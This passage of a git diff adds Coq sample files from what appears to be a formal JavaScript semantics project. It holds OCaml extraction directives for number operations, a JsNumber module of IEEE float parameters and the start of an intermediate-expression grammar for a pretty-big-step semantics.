+if p <= 1. then f1 () else if mod_float p 2. = 0. then f2p (floor (p /. 2.)) else f2p1 (floor (p /. 2.)))".
+
+Extract Inductive Z => float [ "0." "" "(~-.)" ]
+"(fun f0 fp fn z -> if z=0. then f0 () else if z>0. then fp z else fn (~-. z))".
+
+Extract Inductive N => float [ "0." "" ]
+"(fun f0 fp n -> if n=0. then f0 () else fp n)".
+
+Extract Constant Z.add => "(+.)".
+Extract Constant Z.succ => "(+.) 1.".
+Extract Constant Z.pred => "(fun x -> x -. 1.)".
+Extract Constant Z.sub => "(-.)".
+Extract Constant Z.mul => "( *. )".
+Extract Constant Z.opp => "(~-.)".
+Extract Constant Z.abs => "abs_float".
+Extract Constant Z.min => "min".
+Extract Constant Z.max => "max".
+Extract Constant Z.compare =>
+ "fun x y -> if x=y then Eq else if x<y then Lt else Gt".
+
+Extract Constant Pos.add => "(+.)".
+Extract Constant Pos.succ => "(+.) 1.".
+Extract Constant Pos.pred => "(fun x -> x -. 1.)".
+Extract Constant Pos.sub => "(-.)".
+Extract Constant Pos.mul => "( *. )".
+Extract Constant Pos.min => "min".
+Extract Constant Pos.max => "max".
+Extract Constant Pos.compare =>
+ "fun x y -> if x=y then Eq else if x<y then Lt else Gt".
+Extract Constant Pos.compare_cont =>
+ "fun x y c -> if x=y then c else if x<y then Lt else Gt".
+
+Extract Constant N.add => "(+.)".
+Extract Constant N.succ => "(+.) 1.".
+Extract Constant N.pred => "(fun x -> x -. 1.)".
+Extract Constant N.sub => "(-.)".
+Extract Constant N.mul => "( *. )".
+Extract Constant N.min => "min".
+Extract Constant N.max => "max".
+Extract Constant N.div => "(fun x y -> if x = 0. then 0. else floor (x /. y))".
+Extract Constant N.modulo => "mod_float".
+Extract Constant N.compare =>
+ "fun x y -> if x=y then Eq else if x<y then Lt else Gt".
+
+Extract Inductive Fappli_IEEE.binary_float => float [
+  "(fun s -> if s then (0.) else (-0.))"
+  "(fun s -> if s then infinity else neg_infinity)"
+  "nan"
+  "(fun (s, m, e) -> failwith ""FIXME: No extraction from binary float allowed yet."")"
+]. 
+
+Extract Constant JsNumber.of_int => "fun x -> x".
+
+Extract Constant JsNumber.nan => "nan".
+Extract Constant JsNumber.zero => "0.".
+Extract Constant JsNumber.neg_zero => "(-0.)".
+Extract Constant JsNumber.one => "1.".
+Extract Constant JsNumber.infinity => "infinity".
+Extract Constant JsNumber.neg_infinity => "neg_infinity".
+Extract Constant JsNumber.max_value => "max_float".
+Extract Constant JsNumber.min_value => "(Int64.float_of_bits Int64.one)".
+Extract Constant JsNumber.pi => "(4. *. atan 1.)".
+Extract Constant JsNumber.e => "(exp 1.)".
+Extract Constant JsNumber.ln2 => "(log 2.)".
+Extract Constant JsNumber.floor => "floor".
+Extract Constant JsNumber.absolute => "abs_float".
+
+Extract Constant JsNumber.from_string =>
+  "(fun s ->
+    try
+      let s = (String.concat """" (List.map (String.make 1) s)) in
+      if s = """" then 0. else float_of_string s
+    with Failure ""float_of_string"" -> nan)
+   (* Note that we're using `float_of_string' there, which does not have the same
+      behavior than JavaScript.  For instance it will read ""022"" as 22 instead of
+      18, which should be the JavaScript result for it. *)".
+
+Extract Constant JsNumber.to_string =>
+  "(fun f -> 
+    prerr_string (""Warning:  JsNumber.to_string called.  This might be responsible for errors.  Argument value:  "" ^ string_of_float f ^ ""."");
+    prerr_newline();
+    let string_of_number n =
+      let sfn = string_of_float n in
+      (if (sfn = ""inf"") then ""Infinity"" else
+       if (sfn = ""-inf"") then ""-Infinity"" else
+       if (sfn = ""nan"") then ""NaN"" else
+       let inum = int_of_float n in
+       if (float_of_int inum = n) then (string_of_int inum) else (string_of_float n)) in
+    let ret = ref [] in (* Ugly, but the API for OCaml string is not very functional... *)
+    String.iter (fun c -> ret := c :: !ret) (string_of_number f);
+    List.rev !ret)
+   (* Note that this is ugly, we should use the spec of JsNumber.to_string here (9.8.1). *)".
+
+Extract Constant JsNumber.add => "(+.)".
+Extract Constant JsNumber.sub => "(-.)".
+Extract Constant JsNumber.mult => "( *. )".
+Extract Constant JsNumber.div => "(/.)".
+Extract Constant JsNumber.fmod => "mod_float".
+Extract Constant JsNumber.neg => "(~-.)".
+Extract Constant JsNumber.sign => "(fun f -> float_of_int (compare f 0.))".
+Extract Constant JsNumber.number_comparable => "(fun n1 n2 -> 0 = compare n1 n2)".
+Extract Constant JsNumber.lt_bool => "(<)".
+
+Extract Constant JsNumber.to_int32 => 
+"fun n ->
+  match classify_float n with
+  | FP_normal | FP_subnormal ->
+    let i32 = 2. ** 32. in
+    let i31 = 2. ** 31. in
+    let posint = (if n < 0. then (-1.) else 1.) *. (floor (abs_float n)) in
+    let int32bit =
+      let smod = mod_float posint i32 in
+      if smod < 0. then smod +. i32 else smod
+    in
+    (if int32bit >= i31 then int32bit -. i32 else int32bit)
+  | _ -> 0.". (* LATER:  do in Coq.  Spec is 9.5, p. 47.*)
+
+Extract Constant JsNumber.to_uint32 =>
+"fun n ->
+  match classify_float n with
+  | FP_normal | FP_subnormal ->
+    let i32 = 2. ** 32. in
+    let posint = (if n < 0. then (-1.) else 1.) *. (floor (abs_float n)) in
+    let int32bit =
+      let smod = mod_float posint i32 in
+      if smod < 0. then smod +. i32 else smod
+    in
+    int32bit
+  | _ -> 0.". (* LAER:  do in Coq.  Spec is 9.6, p47.*)
+
+Extract Constant JsNumber.modulo_32 => "(fun x -> let r = mod_float x 32. in if x < 0. then r +. 32. else r)".
+Extract Constant JsNumber.int32_bitwise_not => "fun x -> Int32.to_float (Int32.lognot (Int32.of_float x))".
+Extract Constant JsNumber.int32_bitwise_and => "fun x y -> Int32.to_float (Int32.logand (Int32.of_float x) (Int32.of_float y))".
+Extract Constant JsNumber.int32_bitwise_or => "fun x y -> Int32.to_float (Int32.logor (Int32.of_float x) (Int32.of_float y))".
+Extract Constant JsNumber.int32_bitwise_xor => "fun x y -> Int32.to_float (Int32.logxor (Int32.of_float x) (Int32.of_float y))".
+Extract Constant JsNumber.int32_left_shift => "(fun x y -> Int32.to_float (Int32.shift_left (Int32.of_float x) (int_of_float y)))".
+Extract Constant JsNumber.int32_right_shift => "(fun x y -> Int32.to_float (Int32.shift_right (Int32.of_float x) (int_of_float y)))".
+Extract Constant JsNumber.uint32_right_shift => 
+"(fun x y ->
+  let i31 = 2. ** 31. in
+  let i32 = 2. ** 32. in
+  let newx = if x >= i31 then x -. i32 else x in
+  let r = Int32.to_float (Int32.shift_right_logical (Int32.of_float newx) (int_of_float y)) in
+  if r < 0. then r +. i32 else r)".
+
+Extract Constant int_of_char => "(fun c -> float_of_int (int_of_char c))".
+
+Extract Constant ascii_comparable => "(=)".
+Extract Constant lt_int_decidable => "(<)".
+Extract Constant le_int_decidable => "(<=)".
+Extract Constant ge_nat_decidable => "(>=)".
+
+(* TODO ARTHUR:  This TLC lemma does not extract to something computable... whereas it should! *)
+Extract Constant prop_eq_decidable => "(=)".
+
+Extract Constant env_loc_global_env_record => "0".
+
+(* The following functions make pattern matches with floats and shall thus be removed. *)
+Extraction Inline Fappli_IEEE.Bplus Fappli_IEEE.binary_normalize Fappli_IEEE_bits.b64_plus.
+Extraction Inline Fappli_IEEE.Bmult Fappli_IEEE.Bmult_FF Fappli_IEEE_bits.b64_mult.
+Extraction Inline Fappli_IEEE.Bdiv Fappli_IEEE_bits.b64_div.
+
+(* New options for the interpreter to work in Coq 8.4 *)
+Set Extraction AccessOpaque.
+
+(* These parameters are implementation-dependant according to the spec.
+   I've chosed some very simple values, but we could choose another thing for them. *)
+Extract Constant object_prealloc_global_proto => "(Coq_value_prim Coq_prim_null)".
+Extract Constant object_prealloc_global_class => "(
+  let rec aux s = function
+  | 0 -> []
+  | n -> let n' = n - 1 in
+    s.[n'] :: aux s n'
+  in let aux2 s =
+    List.rev (aux s (String.length s))
+  in aux2 ""GlobalClass"")".
+
+
+(* Parsing *)
+Extract Constant parse_pickable => "(fun s strict ->
+    let str = String.concat """" (List.map (String.make 1) s) in
+    try
+      let parserExp = Parser_main.exp_from_string ~force_strict:strict str in
+      Some (JsSyntaxInfos.add_infos_prog strict
+        (Translate_syntax.exp_to_prog parserExp))
+    with
+    (* | Translate_syntax.CoqSyntaxDoesNotSupport _ -> assert false (* Temporary *) *)
+    | Parser.ParserFailure _
+    | Parser.InvalidArgument ->
+      prerr_string (""Warning:  Parser error on eval.  Input string:  \"""" ^ str ^ ""\""\n"");
+      None
+  )".
+
+
+(* Debugging *)
+Extract Inlined Constant not_yet_implemented_because => "(fun s ->
+  print_endline (__LOC__ ^ "": Not implemented because: "" ^ Prheap.string_of_char_list s) ;
+  Coq_result_not_yet_implemented)".
+Extract Inlined Constant impossible_because => "(fun s ->
+  print_endline (__LOC__ ^ "": Stuck because: "" ^ Prheap.string_of_char_list s) ;
+  Coq_result_impossible)".
+Extract Inlined Constant impossible_with_heap_because => "(fun s message ->
+  print_endline (__LOC__ ^ "": Stuck!\nState:  "" ^ Prheap.prstate true s
+    ^ ""\nMessage:\t"" ^ Prheap.string_of_char_list message) ;
+  Coq_result_impossible)".
+
+
+(* Final Extraction *)
+Extraction Blacklist string list bool.
+Separate Extraction runs run_javascript.
+
+
+
+(* -- LATER: extract inequality_test_string in more efficient way*)
+
diff --git a/samples/Coq/JsNumber.v b/samples/Coq/JsNumber.v
new file mode 100644
index 0000000000..0af8d29323
--- /dev/null
+++ b/samples/Coq/JsNumber.v
@@ -0,0 +1,107 @@
+Set Implicit Arguments.
+Require Export Shared.
+Require Flocq.Appli.Fappli_IEEE Flocq.Appli.Fappli_IEEE_bits.
+
+
+(**************************************************************)
+(** ** Type for number (IEEE floats) *)
+
+Definition number : Type :=
+  Fappli_IEEE_bits.binary64.
+
+
+(**************************************************************)
+(** ** Particular values of numbers *)
+
+(* LATER: find definitions in Flocq *)
+Parameter nan : number.
+Parameter zero : number.
+Parameter neg_zero : number.
+Definition one := Fappli_IEEE.binary_normalize 53 1024 eq_refl eq_refl Fappli_IEEE.mode_NE 1 0 false.
+Parameter infinity : number.
+Parameter neg_infinity : number.
+Parameter max_value : number.
+Parameter min_value : number.
+Parameter pi : number.
+Parameter e : number.
+Parameter ln2 : number.
+
+(**************************************************************)
+(** ** Conversions on numbers *)
+
+(* LATER: implement definitions *)
+Parameter from_string : string -> number.
+Parameter to_string : number -> string.
+
+(**************************************************************)
+(** ** Unary operations on numbers *)
+
+(* LATER: find definitions in Flocq *)
+
+Parameter neg : number -> number.
+Parameter floor : number -> number.
+Parameter absolute : number -> number.
+Parameter sign : number -> number. (* returns arbitrary when x is zero or nan *)
+Parameter lt_bool : number -> number -> bool.
+
+
+(**************************************************************)
+(** ** Binary operations on numbers *)
+
+Definition add : number -> number -> number :=
+  Fappli_IEEE_bits.b64_plus Fappli_IEEE.mode_NE.
+
+Parameter sub : number -> number -> number. (* todo: bind *)
+
+Parameter fmod : number -> number -> number. (* todo: bind *)
+
+Definition mult : number -> number -> number :=
+  Fappli_IEEE_bits.b64_mult Fappli_IEEE.mode_NE.
+
+Definition div : number -> number -> number :=
+  Fappli_IEEE_bits.b64_div Fappli_IEEE.mode_NE.
+
+(* Todo: find comparison operator *)
+Global Instance number_comparable : Comparable number.
+Proof. Admitted.
+
+
+
+(**************************************************************)
+(** ** Conversions with Int32 *)
+
+Parameter of_int : int -> number. (* LATER: this is quite complex. Should we make it precise? *)
+
+Parameter to_int32 : number -> int. (* Remark: extracted code could, for efficiency reasons, use Ocaml Int32 *) 
+
+Parameter to_uint32 : number -> int.
+
+Parameter to_int16 : number -> int. (* currently not used *)
+
+(* LATER: Check that the OCaml extraction is correct. *)
+
+
+(**************************************************************)
+
+(** Implements the operation that masks all but the 5 least significant bits
+   of a non-negative number (obtained as the result of to_uint32 *)
+
+Parameter modulo_32 : int -> int.
+
+(** Implements int32 operation *)
+
+Parameter int32_bitwise_not : int -> int.
+
+Parameter int32_bitwise_and : int -> int -> int.
+Parameter int32_bitwise_or : int -> int -> int.
+Parameter int32_bitwise_xor : int -> int -> int.
+
+Parameter int32_left_shift : int -> int -> int.
+Parameter int32_right_shift : int -> int -> int.
+Parameter uint32_right_shift : int -> int -> int.
+
+
+
+
+(**************************************************************)
+(** ** Int32 related conversion *)
diff --git a/samples/Coq/JsPrettyInterm.v b/samples/Coq/JsPrettyInterm.v
new file mode 100644
index 0000000000..71d359699c
--- /dev/null
+++ b/samples/Coq/JsPrettyInterm.v
@@ -0,0 +1,1766 @@
+Set Implicit Arguments.
+Require Export JsSyntax JsSyntaxAux JsPreliminary.
+
+(**************************************************************)
+(** ** Implicit Types -- copied from JsPreliminary  *)
+
+Implicit Type b : bool.
+Implicit Type n : number.
+Implicit Type k : int.
+Implicit Type s : string.
+Implicit Type i : literal.
+Implicit Type l : object_loc.
+Implicit Type w : prim.
+Implicit Type v : value.
+Implicit Type r : ref.
+(*Implicit Type B : builtin.*)
+Implicit Type ty : type.
+
+Implicit Type rt : restype.
+Implicit Type rv : resvalue.
+Implicit Type lab : label.
+Implicit Type labs : label_set.
+Implicit Type R : res.
+Implicit Type o : out.
+
+Implicit Type x : prop_name.
+Implicit Type str : strictness_flag.
+Implicit Type m : mutability.
+Implicit Type Ad : attributes_data.
+Implicit Type Aa : attributes_accessor.
+Implicit Type A : attributes.
+Implicit Type Desc : descriptor.
+Implicit Type D : full_descriptor.
+
+Implicit Type L : env_loc.
+Implicit Type E : env_record.
+Implicit Type Ed : decl_env_record.
+Implicit Type X : lexical_env.
+Implicit Type O : object.
+Implicit Type S : state.
+Implicit Type C : execution_ctx.
+Implicit Type P : object_properties_type.
+
+Implicit Type e : expr.
+Implicit Type p : prog.
+Implicit Type t : stat.
+
+
+(****************************************************************)
+(** ** Intermediate expression for the Pretty-Big-Step semantic *)
+
+(** Grammar of extended expressions *)
+
+Inductive ext_expr :=
+
+  (** Extended expressions include expressions *)
+
+  | expr_basic : expr -> ext_expr
+
+  (** Extended expressions associated with primitive expressions *)
+
+  | expr_identifier_1 : specret ref -> ext_expr
+
+  | expr_object_0 : out -> propdefs -> ext_expr
+  | expr_object_1 : object_loc -> propdefs -> ext_expr
+  | expr_object_2 : object_loc -> string -> propbody -> propdefs -> ext_expr 
+  | expr_object_3_val : object_loc -> string -> specret value -> propdefs -> ext_expr
+  | expr_object_3_get : object_loc -> string -> out -> propdefs -> ext_expr
+  | expr_object_3_set : object_loc -> string -> out -> propdefs -> ext_expr
+  | expr_object_4 : object_loc -> string -> descriptor -> propdefs -> ext_expr
+  | expr_object_5 : object_loc -> propdefs -> out -> ext_expr
+
+
+
+
+
+  (* _ARRAYS_ : support for array intermediate forms *)
+  | expr_array_0 : out -> list (option expr) -> ext_expr
+  | expr_array_1 : object_loc -> list (option expr) -> ext_expr
+  | expr_array_2 : object_loc -> list (option expr) -> int -> ext_expr
+  | expr_array_3 : object_loc -> list (option expr) -> int -> ext_expr
+  | expr_array_3_1 : object_loc -> specret value -> list (option expr) -> int -> ext_expr
+  | expr_array_3_2 : object_loc -> value -> out -> list (option expr) -> int -> ext_expr
+  | expr_array_3_3 : object_loc -> value -> specret int -> list (option expr) -> int -> ext_expr
+  | expr_array_3_4 : object_loc -> value -> out -> list (option expr) -> ext_expr
+  | expr_array_3_5 : object_loc -> out -> list (option expr) -> ext_expr
+
+  | expr_array_add_length   : object_loc -> int -> out -> ext_expr
+  | expr_array_add_length_0 : object_loc -> int -> ext_expr
+  | expr_array_add_length_1 : object_loc -> int -> out -> ext_expr
+  | expr_array_add_length_2 : object_loc -> specret int -> int -> ext_expr
+  | expr_array_add_length_3 : object_loc -> specret int -> ext_expr
+  | expr_array_add_length_4 : object_loc -> out -> ext_expr
+
+
+
+
+
+  | expr_function_1 : string -> list string -> funcbody -> env_loc -> lexical_env -> out -> ext_expr
+  | expr_function_2 : string -> env_loc -> out -> ext_expr
+  | expr_function_3 : object_loc -> out -> ext_expr
+
+  | expr_access_1 : specret value -> expr -> ext_expr (* The left expression has been executed *)
+  | expr_access_2 : value -> specret value -> ext_expr (* The right expression is executed. *)
+  | expr_access_3 : value -> out -> value -> ext_expr
+  | expr_access_4 : value -> out -> ext_expr
+
+  | expr_new_1 : specret value -> list expr -> ext_expr (* The arguments too. *)
+  | expr_new_2 : value -> specret (list value) -> ext_expr (* The call has been executed. *)
+
+  | expr_call_1 : out -> bool -> list expr -> ext_expr
+  | expr_call_2 : res -> bool -> list expr -> specret value -> ext_expr (* The function has been evaluated. *)
+  | expr_call_3 : res -> value -> bool -> specret (list value) -> ext_expr (* The arguments have been executed. *)
+  | expr_call_4 : res -> object_loc -> bool -> list value -> ext_expr
+  | expr_call_5 : object_loc -> bool -> list value -> out -> ext_expr (* The call has been executed. *)
+
+  | spec_eval : bool -> value -> list value -> ext_expr
+
+  | expr_unary_op_1 : unary_op -> (specret value) -> ext_expr (* The argument have been executed. *)
+  | expr_unary_op_2 : unary_op -> value -> ext_expr (* The argument is a value. *)
+  | expr_delete_1 : out -> ext_expr
+  | expr_delete_2 : ref -> ext_expr
+  | expr_delete_3 : ref -> out -> ext_expr
+  | expr_delete_4 : ref -> env_loc -> ext_expr
+  | expr_typeof_1 : out -> ext_expr
+  | expr_typeof_2 : specret value -> ext_expr
+  | expr_prepost_1 : unary_op -> out -> ext_expr
+  | expr_prepost_2 : unary_op -> res -> specret value -> ext_expr
+  | expr_prepost_3 : unary_op -> res -> out -> ext_expr
+  | expr_prepost_4 : value -> out -> ext_expr
+  | expr_unary_op_neg_1 : out -> ext_expr
+  | expr_unary_op_bitwise_not_1 : specret int -> ext_expr
+  | expr_unary_op_not_1 : out -> ext_expr
+  | expr_conditional_1 : specret value -> expr -> expr -> ext_expr
+  | expr_conditional_1': out -> expr -> expr -> ext_expr
+  | expr_conditional_2 : specret value -> ext_expr
+
+  | expr_binary_op_1 : binary_op -> (specret value) -> expr -> ext_expr
+  | expr_binary_op_2 : binary_op -> value -> (specret value) -> ext_expr
+  | expr_binary_op_3 : binary_op -> value -> value -> ext_expr
+  | expr_binary_op_add_1 : specret (value*value) -> ext_expr
+  | expr_binary_op_add_string_1 : specret (value*value) -> ext_expr
+  | expr_puremath_op_1 : (number -> number -> number) -> specret (value*value) -> ext_expr
+  | expr_shift_op_1 : (int -> int -> int) -> specret int -> value -> ext_expr
+  | expr_shift_op_2 : (int -> int -> int) -> int -> specret int -> ext_expr
+  | expr_inequality_op_1 : bool -> bool -> value -> value -> ext_expr
+  | expr_inequality_op_2 : bool -> bool -> specret (value*value) -> ext_expr
+  | expr_binary_op_in_1 : object_loc -> out -> ext_expr
+  | expr_binary_op_disequal_1 : out -> ext_expr
+  | spec_equal : value -> value -> ext_expr
+  | spec_equal_1 : type -> type -> value -> value -> ext_expr
+  | spec_equal_2 : bool -> ext_expr
+  | spec_equal_3 : value -> (value -> ext_expr) -> value -> ext_expr
+  | spec_equal_4 : value -> out -> ext_expr
+  | expr_bitwise_op_1 : (int -> int -> int) -> specret int -> value -> ext_expr
+  | expr_bitwise_op_2 : (int -> int -> int) -> int -> specret int -> ext_expr
+  | expr_lazy_op_1 : bool -> (specret value) -> expr -> ext_expr
+  | expr_lazy_op_2 : bool -> value -> out -> expr -> ext_expr
+  | expr_lazy_op_2_1 : (specret value) -> ext_expr
+
+  | expr_assign_1 : out -> option binary_op -> expr -> ext_expr
+  | expr_assign_2 : res -> (specret value) -> binary_op -> expr -> ext_expr
+  | expr_assign_3 : res -> value -> binary_op -> (specret value) -> ext_expr
+  | expr_assign_3' : res -> out -> ext_expr
+  | expr_assign_4 : res -> (specret value) -> ext_expr
+  | expr_assign_5 : value -> out -> ext_expr
+
+  (** Extended expressions for conversions *)
+
+  | spec_to_primitive : value -> option preftype -> ext_expr
+  | spec_to_boolean : value -> ext_expr
+  | spec_to_number : value -> ext_expr
+  | spec_to_number_1 : out -> ext_expr
+  | spec_to_integer : value -> ext_expr
+  | spec_to_integer_1 : out -> ext_expr
+  | spec_to_string : value -> ext_expr
+  | spec_to_string_1 : out -> ext_expr
+  | spec_to_object : value -> ext_expr
+  | spec_check_object_coercible : value -> ext_expr
+
+  (** Extended expressions for comparison *)
+
+  | spec_eq : value -> value -> ext_expr
+  | spec_eq0 : value -> value -> ext_expr
+  | spec_eq1 : value -> value -> ext_expr
+  | spec_eq2 : ext_expr -> value -> value -> ext_expr
+
+  (** Extended expressions for operations on objects *)
+
+  | spec_object_get : object_loc -> prop_name -> ext_expr
+  | spec_object_get_1 : builtin_get -> value -> object_loc -> prop_name -> ext_expr
+  | spec_object_get_2 : value -> specret full_descriptor -> ext_expr
+  | spec_object_get_3 : value -> value -> ext_expr
+
+  | spec_object_can_put : object_loc -> prop_name -> ext_expr
+  | spec_object_can_put_1 : builtin_can_put -> object_loc -> prop_name -> ext_expr
+  | spec_object_can_put_2 : object_loc -> prop_name -> (specret full_descriptor) -> ext_expr
+
+  (* LATER: shift names since spec_object_can_put_3 is not used *)
+  | spec_object_can_put_4 : object_loc -> prop_name -> value -> ext_expr
+  | spec_object_can_put_5 : object_loc -> specret full_descriptor -> ext_expr
+  | spec_object_can_put_6 : attributes_data -> bool -> ext_expr
+
+  | spec_object_put : object_loc -> prop_name -> value -> bool -> ext_expr
+  | spec_object_put_1 : builtin_put -> value -> object_loc -> prop_name -> value -> bool -> ext_expr
+  | spec_object_put_2 : value -> object_loc -> prop_name -> value -> bool -> out -> ext_expr
+  | spec_object_put_3 : value -> object_loc -> prop_name -> value -> bool -> specret full_descriptor -> ext_expr
+  | spec_object_put_4 : value -> object_loc -> prop_name -> value -> bool -> specret full_descriptor -> ext_expr
+  | spec_object_put_5 : out -> ext_expr
+
+  | spec_object_has_prop : object_loc -> prop_name -> ext_expr
+  | spec_object_has_prop_1 : builtin_has_prop -> object_loc -> prop_name -> ext_expr
+  | spec_object_has_prop_2 : specret full_descriptor -> ext_expr
+
+  | spec_object_delete : object_loc -> prop_name -> bool -> ext_expr
+  | spec_object_delete_1 : builtin_delete -> object_loc -> prop_name -> bool -> ext_expr
+  | spec_object_delete_2 : object_loc -> prop_name -> bool -> (specret full_descriptor) -> ext_expr
+  | spec_object_delete_3 : object_loc -> prop_name -> bool -> bool -> ext_expr
+
+  | spec_object_default_value : object_loc -> option preftype -> ext_expr
+  | spec_object_default_value_1 : builtin_default_value -> object_loc -> option preftype -> ext_expr
+  | spec_object_default_value_2 : object_loc -> preftype -> preftype -> ext_expr
+  | spec_object_default_value_3 : object_loc -> preftype -> ext_expr
+  | spec_object_default_value_4 : ext_expr
+  | spec_object_default_value_sub_1 : object_loc -> string -> ext_expr -> ext_expr
+  | spec_object_default_value_sub_2 : object_loc -> out -> ext_expr -> ext_expr
+  | spec_object_default_value_sub_3 : out -> ext_expr -> ext_expr
+
+  | spec_object_define_own_prop : object_loc -> prop_name -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_1 : builtin_define_own_prop -> object_loc -> prop_name -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_2 : object_loc -> prop_name -> descriptor -> bool -> (specret full_descriptor) -> ext_expr
+  | spec_object_define_own_prop_3 : object_loc -> prop_name -> descriptor -> bool -> full_descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_4 : object_loc -> prop_name -> attributes -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_5 : object_loc -> prop_name -> attributes -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_6a : object_loc -> prop_name -> attributes -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_6b : object_loc -> prop_name -> attributes -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_6c : object_loc -> prop_name -> attributes -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_reject : bool -> ext_expr
+  | spec_object_define_own_prop_write : object_loc -> prop_name -> attributes -> descriptor -> bool -> ext_expr
+
+  | spec_prim_value_get : value -> prop_name -> ext_expr
+  | spec_prim_value_get_1 : value -> prop_name -> out -> ext_expr
+  | spec_prim_value_put : value -> prop_name -> value -> bool -> ext_expr
+  | spec_prim_value_put_1 : prim -> prop_name -> value -> bool -> out -> ext_expr
+
+  (* ARRAYS *)
+  | spec_object_define_own_prop_array_2 : object_loc -> prop_name -> descriptor -> bool -> (specret full_descriptor) -> ext_expr
+  | spec_object_define_own_prop_array_2_1 : object_loc -> prop_name -> descriptor -> bool -> descriptor -> value -> ext_expr
+  | spec_object_define_own_prop_array_branch_3_4 : object_loc -> prop_name -> descriptor -> bool -> descriptor -> (specret int) -> ext_expr
+  | spec_object_define_own_prop_array_branch_4_5   : object_loc -> prop_name -> descriptor -> bool -> descriptor -> int -> ext_expr
+  | spec_object_define_own_prop_array_branch_4_5_a : object_loc -> prop_name -> (specret int) -> descriptor -> bool -> descriptor -> int -> ext_expr
+  | spec_object_define_own_prop_array_branch_4_5_b : object_loc -> prop_name -> int -> out -> descriptor -> bool -> descriptor -> int -> ext_expr 
+  | spec_object_define_own_prop_array_4a : object_loc -> prop_name -> descriptor -> bool -> descriptor -> int -> ext_expr
+  | spec_object_define_own_prop_array_4b : object_loc -> prop_name -> (specret int) -> descriptor -> bool -> descriptor -> int -> ext_expr
+  | spec_object_define_own_prop_array_4c : object_loc -> int -> descriptor -> bool -> int -> descriptor -> out -> ext_expr
+  | spec_object_define_own_prop_array_5  : object_loc -> prop_name -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_array_3 : object_loc -> descriptor -> bool -> descriptor -> int -> ext_expr
+  | spec_object_define_own_prop_array_3c : object_loc -> value -> (specret int) -> descriptor -> bool -> descriptor -> int -> ext_expr
+  | spec_object_define_own_prop_array_3d_e : object_loc -> out -> int -> descriptor -> bool -> descriptor -> int -> ext_expr
+  | spec_object_define_own_prop_array_3f_g : object_loc -> int -> int -> descriptor -> bool -> descriptor -> ext_expr
+  | spec_object_define_own_prop_array_3h_i : object_loc -> int -> int -> descriptor -> bool -> descriptor -> ext_expr
+  | spec_object_define_own_prop_array_3j : object_loc -> int -> int -> descriptor -> bool -> bool -> descriptor -> ext_expr
+  | spec_object_define_own_prop_array_3k_l : object_loc -> out -> int -> int -> descriptor -> bool -> bool -> descriptor -> ext_expr
+  | spec_object_define_own_prop_array_3l : object_loc -> int -> int -> descriptor -> bool -> bool -> ext_expr
+  | spec_object_define_own_prop_array_3l_ii : object_loc -> int -> int -> descriptor -> bool -> bool -> ext_expr
+  | spec_object_define_own_prop_array_3l_ii_1 : object_loc -> int -> int -> descriptor -> bool -> bool -> out -> ext_expr
+  | spec_object_define_own_prop_array_3l_ii_2 : object_loc -> int -> int -> descriptor -> bool -> bool -> out -> ext_expr
+  | spec_object_define_own_prop_array_3l_iii_1 : object_loc -> int -> descriptor -> bool -> bool -> ext_expr
+  | spec_object_define_own_prop_array_3l_iii_2 : object_loc -> descriptor -> bool -> bool -> ext_expr
+  | spec_object_define_own_prop_array_3l_iii_3 : object_loc -> descriptor -> bool -> ext_expr
+  | spec_object_define_own_prop_array_3l_iii_4 : object_loc -> bool -> out -> ext_expr
+  | spec_object_define_own_prop_array_3m_n : object_loc -> bool -> ext_expr
+
+  (** Extended expressions for operations on references *)
+  | spec_put_value : resvalue -> value -> ext_expr
+
+  (** Extended expressions for operations on environment records *)
+
+  | spec_env_record_has_binding : env_loc -> prop_name -> ext_expr
+  | spec_env_record_has_binding_1 : env_loc -> prop_name -> env_record -> ext_expr
+  | spec_env_record_get_binding_value : env_loc -> prop_name -> bool -> ext_expr
+  | spec_env_record_get_binding_value_1 : env_loc -> prop_name -> bool -> env_record -> ext_expr
+  | spec_env_record_get_binding_value_2 : prop_name -> bool -> object_loc -> out -> ext_expr
+
+  | spec_env_record_create_immutable_binding : env_loc -> prop_name -> ext_expr
+  | spec_env_record_initialize_immutable_binding : env_loc -> prop_name -> value -> ext_expr
+  | spec_env_record_create_mutable_binding : env_loc -> prop_name -> option bool -> ext_expr
+  | spec_env_record_create_mutable_binding_1 : env_loc -> prop_name -> bool -> env_record -> ext_expr
+  | spec_env_record_create_mutable_binding_2 : env_loc -> prop_name -> bool -> object_loc -> out -> ext_expr
+  | spec_env_record_create_mutable_binding_3 : out -> ext_expr
+  | spec_env_record_set_mutable_binding : env_loc -> prop_name -> value -> bool -> ext_expr
+  | spec_env_record_set_mutable_binding_1 : env_loc -> prop_name -> value -> bool -> env_record -> ext_expr
+  | spec_env_record_delete_binding : env_loc -> prop_name -> ext_expr
+  | spec_env_record_delete_binding_1 : env_loc -> prop_name -> env_record -> ext_expr
+
+  | spec_env_record_create_set_mutable_binding : env_loc -> prop_name -> option bool -> value -> bool -> ext_expr
+  | spec_env_record_create_set_mutable_binding_1 : out -> env_loc -> prop_name -> value -> bool -> ext_expr
+
+  | spec_env_record_implicit_this_value : env_loc -> ext_expr
+  | spec_env_record_implicit_this_value_1 : env_loc -> env_record -> ext_expr
+
+
+  (** Extended expressions for operations on property descriptors (8.10) *)
+
+  | spec_from_descriptor : (specret full_descriptor) -> ext_expr
+  | spec_from_descriptor_1 : attributes -> out -> ext_expr
+  | spec_from_descriptor_2 : object_loc -> attributes_data -> out -> ext_expr
+  | spec_from_descriptor_3 : object_loc -> attributes_accessor -> out -> ext_expr
+  | spec_from_descriptor_4 : object_loc -> attributes -> out -> ext_expr
+  | spec_from_descriptor_5 : object_loc -> attributes -> out -> ext_expr
+  | spec_from_descriptor_6 : object_loc -> out -> ext_expr
+
+                       
+                  
+  (** Extented expressions for eval *)
+
+  | spec_entering_eval_code : bool -> funcbody -> ext_expr -> ext_expr
+  | spec_entering_eval_code_1 : funcbody -> ext_expr -> bool -> ext_expr
+  | spec_entering_eval_code_2 : out -> ext_expr -> ext_expr
+
+  | spec_call_global_eval : bool -> list value -> ext_expr
+  | spec_call_global_eval_1 : bool -> value -> ext_expr
+  | spec_call_global_eval_2 : prog -> ext_expr
